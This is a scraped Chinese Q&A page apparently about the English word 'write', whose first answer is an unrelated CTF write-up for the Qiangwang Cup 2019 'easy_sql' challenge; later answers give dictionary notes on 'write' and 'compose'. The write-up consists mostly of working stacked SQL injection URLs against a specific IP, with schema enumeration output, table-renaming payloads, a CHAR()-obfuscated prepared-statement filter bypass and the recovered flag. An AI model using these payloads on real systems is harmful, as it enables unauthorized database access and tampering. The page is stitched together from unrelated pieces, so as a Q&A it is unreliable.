发布网友 发布时间:2022-04-28 21:41
共6个回答
懂视网 时间:2022-05-03 12:40
查询所有数据库
http://159.138.137.79:53698/?inject=1‘ and 1=2; show databases;--+
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
显示所有表
http://159.138.137.79:53698/?inject=1‘ and 1=2; show tables;--+
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询表的结构
http://159.138.137.79:53698/?inject=1‘ and 1=2; desc `1919810931114514`;--+
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
由此可知,默认查询的表为words
表,而flag在另一个表中。
我们可以将另一个表改设为默认查询的表。
http://159.138.137.79:53698/?inject=1‘ or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
显示表的列的信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema="" and table_name=""
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
使用PHP的预处理语句
SET @sql = variable; //设置变量
PREPARE pre from ‘[my sql sequece]‘; //预定义SQL语句
EXECUTE pre; //执行预定义SQL语句sqla
SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`") ;
PREPARE pre from @sql;
EXECUTE pre;
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
WriteUp_easy_sql_堆叠注入_强网杯2019
标签:super drop 有用 默认 表单 inf -bash error sch
热心网友 时间:2022-05-03 09:48
v. 写;书写;填写;作曲
一、读音:英 [raɪt];美 [raɪt]
二、例句:
I've been writing for three hours.
我已经写了三个小时了。
三、词汇用法:
1、write的基本意思是“写”,指用笔大方、庄重地记录一些东西。引申可表示“写信”,是日常用语。
2、write既可用作及物动词,也可用作不及物动词。用作及物动词时,可接名词、代词、动词不定式、动名词、that/wh-从句作宾语,也可接双宾语,其间接宾语可以转化为介词to的宾语,其直接宾语可以由名词充当,也可由that从句充当。write还可接由名词、动词不定式充当补足语的复合宾语。
3、write可用于现在完成时,也可用于现在完成进行时,用于前者时必须接宾语,用于后者时可不接宾语。
4、write的过去分词written可用作形容词,在句中作定语。
近义词:compose
一、意思:
v. 作曲;创作;编排;形成;使镇静
二、读音:英 [kəm'pəʊz];美 [kəm'poʊz]
三、例句:
She began to compose songs at an early age.
她还很年轻时就已经开始创作歌曲。
四、词汇用法:
1、compose的基本意思有二,一是“组成”“构成”,引申可表示“作曲”; 二是“使安定,使镇静”。
2、compose作“组成”解时,是及物动词。主语是组成前的各个部分,宾语是组成后的一个整体,不用于被动结构。
3、compose作“作曲”解时,可用作不及物动词,也可用作及物动词。
热心网友 时间:2022-05-03 11:06
write热心网友 时间:2022-05-03 12:41
在fortran、pascal、lua、C#等编程语言中,write 是标准的输出过程或函数,可以向控制台 或 文件输出程序运行的计算结果序列。热心网友 时间:2022-05-03 14:32
及物动词 vt.热心网友 时间:2022-05-03 16:40
Document对象内容集合